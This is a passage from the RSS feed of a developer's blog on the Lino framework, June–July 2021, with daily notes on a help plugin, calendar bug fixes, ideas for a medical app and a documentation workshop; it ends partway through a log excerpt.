class descriptions, which the kernel does not store. All this is still
experimental.&lt;/p&gt;
&lt;p&gt;I moved all the help functionality, including the OpenHelpWindow action to a new
plugin &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.help.html#module-lino.modlib.help" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.help&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and make it an optional feature. I renamed
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;makedocs&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To make my work more visible we should start to update the demo sites more
often, and to run makedocs each time there. Here it gets related to the
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2480"&gt;#2480&lt;/a&gt; ticket: it would be cool to have an impressive series of Lino
demo sites on Heroku, each with a usable user guide….&lt;/p&gt;
&lt;p&gt;My goal for this time is that when clicking on the &lt;span class="guilabel"&gt;?&lt;/span&gt; button, Lino
opens a page that is actually useful for an &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end user&lt;/span&gt;&lt;/a&gt;.  Or more precisely
a page that &lt;em&gt;has a chance&lt;/em&gt; to be useful, when documentation is written
accordingly.  Because that’s another pair of shoes: defining the right
conventions and habits of &lt;em&gt;where&lt;/em&gt; to write &lt;em&gt;what&lt;/em&gt;. This is currently still a big
mess, and reviewing all docs is a big work. But I am advancing…&lt;/p&gt;
&lt;p&gt;TODO: Test whether translation actually works.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0709.html</guid><pubDate>Fri, 09 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, July 8, 2021</title><link>https://luc.lino-framework.org/blog/2021/0708.html</link><description>&lt;section id="thursday-july-8-2021"&gt;
&lt;h1&gt;Thursday, July 8, 2021&lt;a class="headerlink" href="#thursday-july-8-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am working on &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4172"&gt;#4172&lt;/a&gt;).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0708.html</guid><pubDate>Thu, 08 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 7, 2021</title><link>https://luc.lino-framework.org/blog/2021/0707.html</link><description>&lt;section id="wednesday-july-7-2021"&gt;
&lt;h1&gt;Wednesday, July 7, 2021&lt;a class="headerlink" href="#wednesday-july-7-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4245"&gt;#4245&lt;/a&gt; (Lino deleted the guests from my event) .&lt;/p&gt;
&lt;p&gt;The problem happens only when &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;can_edit_guests_manually()&lt;/span&gt;&lt;/code&gt; returns &lt;cite&gt;False&lt;/cite&gt;.
It seems that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;can_edit_guests_manually()&lt;/span&gt;&lt;/code&gt; should not base its decision on
the state of the event. But when then do we have &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryState.fill_guests&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In amici1, log in as robin, create an activity, check a weekday, hit
update_events: Lino says “No automatic calendar entries because no entry type is
configured.”&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now sets the event type
“Meeting” as &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteConfig.default_event_type&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.Course.update_cal_event_type()&lt;/span&gt;&lt;/code&gt; now returns
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteConfig.default_event_type&lt;/span&gt;&lt;/code&gt; if the activity has no line (or if the
line has no event_type).&lt;/p&gt;
&lt;p&gt;I replaced the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;can_edit_guests_manually()&lt;/span&gt;&lt;/code&gt; of
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Event&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; by a new database field
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event.guests_edited" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Event.guests_edited&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. This is an invisible field, it is
similar to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatDocument.items_edited" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatDocument.items_edited&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Manual tests&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;, try to make Lino “accidentally” delete my manually entered
guests.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt;: create a course with 2 enrolments. have it generate some
lessons. check that the enrolments have become guests. manually edit the guest
list in one event: add an extra guest. Add one new enrolment and remove one
enrolment from the course, then run update_guests on the course. Check whether
the guests of the first event have remained unchanged while the second event
has received the new guest.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The manual tests pass. I run the test suite, which will need some changes
because there is a new database field.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0707.html</guid><pubDate>Wed, 07 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 6, 2021</title><link>https://luc.lino-framework.org/blog/2021/0706.html</link><description>&lt;section id="tuesday-july-6-2021"&gt;
&lt;h1&gt;Tuesday, July 6, 2021&lt;a class="headerlink" href="#tuesday-july-6-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed the first issue observed &lt;a class="reference internal" href="0704.html"&gt;&lt;span class="doc"&gt;Sunday, July 4, 2021&lt;/span&gt;&lt;/a&gt;. Explanation: when the date of a
suggested event gets modified by the user, Lino aligns all following events
accordingly. Change: From now on Lino also verifies that such a date change
remains within its limits. You cannot go back in time. When lesson 1 was on a
given date, you cannot make lesson 2 happen before lesson 1.  I changed the
algorithm and internal API for analyzing the existing events.&lt;/p&gt;
&lt;p&gt;I found and fixed another bug: create an activity without enrolments, let it
generate some events, pick one of the events, manually add a guest, mark the
event as took_place. Then try to delete the activity. Lino simply did this. Now
it says “Cannot delete X because it has user-modified calendar entries.”&lt;/p&gt;
&lt;p&gt;Internal change:
I renamed &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;update_cal_rset()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_recurrence_set()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I extended the documentation about
&lt;a class="reference external" href="https://using.lino-framework.org/topics/cal_auto.html#ug-plugins-cal-automatic-events" title="(in Lino User Guide)"&gt;&lt;span&gt;Automatic calendar entries&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I added more test cases in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book/projects/voga2/tests/test_faggio.py&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0706.html</guid><pubDate>Tue, 06 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, July 4, 2021</title><link>https://luc.lino-framework.org/blog/2021/0704.html</link><description>&lt;section id="sunday-july-4-2021"&gt;
&lt;h1&gt;Sunday, July 4, 2021&lt;a class="headerlink" href="#sunday-july-4-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I upgraded my &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; production site and then played around in order
to manually test the new version on real data.&lt;/p&gt;
&lt;p&gt;I stumbled into an irritating behaviour of
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EventGenerator" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.EventGenerator&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I have a long-running weekly activity
that started years ago. Until now I didn’t use my &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; very much, most
events are in state suggested only some of the events are actually confirmed
(i.e. state is took_place). The weekday of the event recently changed from
Tuesday to Monday. Now I’d like to start confirming these events more seriously.
I’d like Lino to forget all the old suggestions and to keep only the confirmed
old events. And to generate a new series. I change start_date to 2021-06-28,
change the weekday from Tue to Mon, then hit the flash button. Events are now on
Monday, yes, but they start already in December 2020. I said start_date
2021-06-28.  Continued &lt;a class="reference internal" href="0706.html"&gt;&lt;span class="doc"&gt;Tuesday, July 6, 2021&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And then a behaviour that is not only disturbing but destructive: I had manually
entered the guests of an event (the activity of which had no enrolments).
Editing the guests was possible only by setting the event state to took_place.
That’s okay as a limitation.  I then saw that these manually entered guests had
the state “invited”. I switched the state back to draft, believing that
switching back to took_place will set them to present (because force_guests is
True) But poof! Setting the event to draft &lt;em&gt;deleted&lt;/em&gt; all my presences. Without
warning. We must forgive Lino because there are situations where we actually
want it to delete suggested guests. But this was not such a situation.  To be
continued.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0704.html</guid><pubDate>Sun, 04 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, July 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/0703.html</link><description>&lt;section id="saturday-july-3-2021"&gt;
&lt;h1&gt;Saturday, July 3, 2021&lt;a class="headerlink" href="#saturday-july-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Medico:&lt;/p&gt;
&lt;p&gt;one new concept will be “availabilities”.&lt;/p&gt;
&lt;p&gt;Every Physician configures a list of availabilities: “I am available on Mondays
and Wednesdays from 8 to 12 in hospital X room Y”.  And then the every physician
has a system of “time slots” where they can accept appointments. Lino uses this
table to generate suggested calendar entries.  Availability inherits from
cal.EventGenerator.&lt;/p&gt;
&lt;p&gt;We will need to extend EventGenerator because atm it supports only one calendar
entry per day.&lt;/p&gt;
&lt;p&gt;A patient says “I need to see a cardiologist”. Lino would show a list of
available calendar events that do not yet have a guest (more precisely which are
in state “Available”).&lt;/p&gt;
&lt;p&gt;We also need the receeption plugin&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0703.html</guid><pubDate>Sat, 03 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 29, 2021</title><link>https://luc.lino-framework.org/blog/2021/0629.html</link><description>&lt;section id="tuesday-june-29-2021"&gt;
&lt;h1&gt;Tuesday, June 29, 2021&lt;a class="headerlink" href="#tuesday-june-29-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-medico"&gt;
&lt;span id="medico"&gt;&lt;/span&gt;&lt;h2&gt;Lino Medico&lt;a class="headerlink" href="#lino-medico" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sharif and I had a brainstorming for a new Lino, Lino Medico, that might be
useful in Bangladesh where there is no national health insurance system.&lt;/p&gt;
&lt;p&gt;Inspiration from Estonia:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://haigekassa.ee/en/people/my-data-and-e-services"&gt;https://haigekassa.ee/en/people/my-data-and-e-services&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.digilugu.ee"&gt;https://www.digilugu.ee&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Concepts that might be useful in &lt;a class="reference internal" href="#medico"&gt;&lt;span class="std std-ref"&gt;Lino Medico&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;calendar : National eBooking system : Booking, changing and cancelling the specialist visit time&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;personal medical history&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;medical data the health care service providers have submitted about you.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;incapacity certificates&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;physician&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;prescriptions for pharmaceuticals&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;prescriptions for medical devices&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Existing plugins that might be useful:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;cal, calview&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;contacts : physicians and patients&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;clients&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;products (pharmaceuticals)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;tickets, comments : patient history&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;courses (therapies)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0629.html</guid><pubDate>Tue, 29 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0623.html</link><description>&lt;section id="wednesday-june-23-2021"&gt;
&lt;h1&gt;Wednesday, June 23, 2021&lt;a class="headerlink" href="#wednesday-june-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="slave-tables-and-delayed-values"&gt;
&lt;h2&gt;Slave tables and delayed values&lt;a class="headerlink" href="#slave-tables-and-delayed-values" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4222"&gt;#4222&lt;/a&gt;, which was caused by my recent changes &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4046"&gt;#4046&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I started a new topic guide about &lt;a class="reference external" href="https://dev.lino-framework.org/specs/delayed_values.html#book-topics-delayed-values" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Delayed values&lt;/span&gt;&lt;/a&gt;, which also
contains a test case that (probably) would have covered this issue.&lt;/p&gt;
&lt;p&gt;A &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-slave-table" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;slave table&lt;/span&gt;&lt;/a&gt; can be a valid &lt;a class="reference external" href="https://dev.lino-framework.org/topics/atomizer.html#term-data-element" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data element&lt;/span&gt;&lt;/a&gt; of a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/index.html#term-detail-layout" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;detail
layout&lt;/span&gt;&lt;/a&gt;, and it is named &lt;cite&gt;foos.Foos&lt;/cite&gt; (i.e. with a dot). And also the
corresponding store field will be named &lt;cite&gt;foos.Foos&lt;/cite&gt; (not &lt;cite&gt;foos_Foos&lt;/cite&gt;), i.e. the
names of store fields don’t need to be valid Python attribute names.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="diataxis-workshop"&gt;
&lt;h2&gt;Diátaxis workshop&lt;a class="headerlink" href="#diataxis-workshop" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Documentation should be structured under the following four top-level entries:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tutorials&lt;/strong&gt; (aka “Get started”) should be: clear, have a concise outcome, …&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;How-to guides&lt;/strong&gt; (Recipes) should be reproducible, cheat sheet&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt; (Technical specs, description of what exists) should be
correct, complete, excludes instruction and explanation, answers to facts (not the needs of the reader)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt; (aka “Topics”, “Background”, “Discussion”) offer context, establishes connections, the bigger
picture, history&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This differs e.g. from established systems like
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Darwin_Information_Typing_Architecture"&gt;Darwin Information Typing Architechture&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Each top-level index might be divided by “areas of usage”.
Think like a shop owner: put the interesting and tempting topics at the front.&lt;/p&gt;
&lt;p&gt;Q: Where to put the different audiences of readers?
A: Consider them as being completely different manuals.
E.g. end users, developers, contributors, training providers, hosters… one manual for each of them&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0623.html</guid><pubDate>Wed, 23 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Monday, June 21, 2021</title><link>https://luc.lino-framework.org/blog/2021/0621.html</link><description>&lt;section id="monday-june-21-2021"&gt;
&lt;h1&gt;Monday, June 21, 2021&lt;a class="headerlink" href="#monday-june-21-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; failed to define a &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#term-user-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;user type&lt;/span&gt;&lt;/a&gt; named &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserTypes.user" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;user&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Which caused &lt;a class="reference external" href="https://dev.lino-framework.org/dev/users.html#management_command-passwd" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;passwd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to fail when
called with the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-c&lt;/span&gt;&lt;/code&gt; option.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0621.html</guid><pubDate>Mon, 21 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Friday, June 18, 2021</title><link>https://luc.lino-framework.org/blog/2021/0618.html</link><description>&lt;section id="friday-june-18-2021"&gt;
&lt;h1&gt;Friday, June 18, 2021&lt;a class="headerlink" href="#friday-june-18-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started a topic page in the developer guide: &lt;a class="reference external" href="https://dev.lino-framework.org/topics/atomizer.html#book-topics-atomizer" title="(in Lino Developer Guide)"&gt;&lt;span&gt;About data elements, atomizers &amp;amp; Co&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor._handle_class&lt;/span&gt;&lt;/code&gt;
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TableHandle&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_handle_name()&lt;/span&gt;&lt;/code&gt; is still used in &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.debts.html#module-lino_welfare.modlib.debts" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.debts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, where
we want to have different variants of table columns for a slave table. I wrote
this solution before I discovered the recipe for doing this using a choicelist
holding actors. We should replace this by a &lt;a class="reference external" href="https://dev.lino-framework.org/topics/atomizer.html#term-choicelist-of-actors" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;choicelist of actors&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0618.html</guid><pubDate>Fri, 18 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, June 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0617.html</link><description>&lt;section id="thursday-june-17-2021"&gt;
&lt;h1&gt;Thursday, June 17, 2021&lt;a class="headerlink" href="#thursday-june-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="an-overview-of-existing-lino-applications"&gt;
&lt;h2&gt;An overview of existing Lino applications&lt;a class="headerlink" href="#an-overview-of-existing-lino-applications" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here is my plan for the demo session for Natasa.&lt;/p&gt;
&lt;p&gt;I switched mathieu and avanti1 to demo_date 20210617 and ran pm prep. In mathieu
this caused a unique constraint failure, so I optimized
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;welfare.modlib.isip.ContractBase.suggest_cal_guests()&lt;/span&gt;&lt;/code&gt; to remove duplicate
partners from its suggestions.&lt;/p&gt;
&lt;p&gt;In mathieu I also changed &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;languages&lt;/span&gt;&lt;/code&gt; to “en fr de nl”.&lt;/p&gt;
&lt;p&gt;mathieu (&lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Sign in as theresia (reception clerk) and receive a client,
e.g. Guido Radermacher.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sign in as a social worker and meet the client&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;workshops and enrolments&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids and aids confirmations&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;avanti1 (ref:&lt;cite&gt;avanti&lt;/cite&gt;)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Sign in as robin. Show alphabetization course.
Try to mark the lesson 11.06.2021 as took place. Lino refuses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sign in as laura and mark the participants of 11.06.2021 as present.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;noi1r (ref:&lt;cite&gt;noi&lt;/cite&gt;)&lt;/p&gt;
&lt;p&gt;roger (ref:&lt;cite&gt;voga&lt;/cite&gt;)&lt;/p&gt;
&lt;p&gt;tera1 (ref:&lt;cite&gt;tera&lt;/cite&gt;)&lt;/p&gt;
&lt;p&gt;amici1 (ref:&lt;cite&gt;amici&lt;/cite&gt;)&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0617.html</guid><pubDate>Thu, 17 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0616.html</link><description>&lt;section id="wednesday-june-16-2021"&gt;
&lt;h1&gt;Wednesday, June 16, 2021&lt;a class="headerlink" href="#wednesday-june-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="insipid-ticket-50"&gt;
&lt;h2&gt;insipid ticket #50&lt;a class="headerlink" href="#insipid-ticket-50" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With Matthias’ help I fixed &lt;a class="reference external" href="https://github.com/mgeier/insipid-sphinx-theme/issues/50"&gt;insipid ticket #50&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-request-s-session-was-deleted-before-the-request-completed"&gt;
&lt;h2&gt;The request’s session was deleted before the request completed&lt;a class="headerlink" href="#the-request-s-session-was-deleted-before-the-request-completed" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After clicking the submit button of the insert window of a comment (POST to
&lt;cite&gt;/api/comments/CommentsByRFC&lt;/cite&gt;) I got once more a red notification message
(saying something I didn’t manage to read).&lt;/p&gt;
&lt;p&gt;The Lino log says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;7902&lt;/span&gt; &lt;span class="mi"&gt;140385269999488&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CommentsByRFC&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#4213 (&amp;#39;#4213 (☐ Font size becomes bigger when I tap on link)&amp;#39;) []&lt;/span&gt;
